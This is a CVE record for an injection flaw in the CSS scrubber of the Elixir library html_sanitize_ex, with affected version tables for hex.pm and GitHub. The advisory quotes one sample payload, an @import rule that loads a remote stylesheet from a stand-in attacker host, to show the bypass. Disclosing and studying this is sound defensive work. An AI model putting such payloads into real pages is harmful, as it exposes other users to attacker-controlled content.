CVE-2026-68747
CVE.org · Published
- Record status
- Published
- Identifier year (not publication year)
- 2026
- Source publication
- Source updated
- Imported by cveboard
- Source snapshot
- cve_2026-10-24_midnight_baseline ·
CNA source text (English)
CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Scoped product and version facts
Fix information unknown; no fixed version is derived here. Missing information does not prove that no fix exists.
Exploitation unknown; this catalogue does not assess exploitation.
html_sanitize_ex
- Vendor
- rrrene
- Product
- html_sanitize_ex
- Platforms
- Unknown
- Default status
unaffected- Package
- html_sanitize_ex
- Package collection
- https://repo.hex.pm
| Version (version) | Status (status) | Version scheme (versionType) | Exclusive end (lessThan) | Inclusive end (lessThanOrEqual) | Status changes (at → status) |
|---|---|---|---|---|---|
| 0.3.1 | affected | semver | 1.4.5 | Unavailable | None listed |
| 1.5.0-rc.0 | affected | semver | 1.5.4 | Unavailable | None listed |
html_sanitize_ex
- Vendor
- rrrene
- Product
- html_sanitize_ex
- Platforms
- Unknown
- Default status
unaffected- Package
- rrrene/html_sanitize_ex
- Package collection
- https://github.com
| Version (version) | Status (status) | Version scheme (versionType) | Exclusive end (lessThan) | Inclusive end (lessThanOrEqual) | Status changes (at → status) |
|---|---|---|---|---|---|
| 21f90012eb21aa36f4e3701b7547e12faf0f3c8b | affected | git | * | Unavailable |
|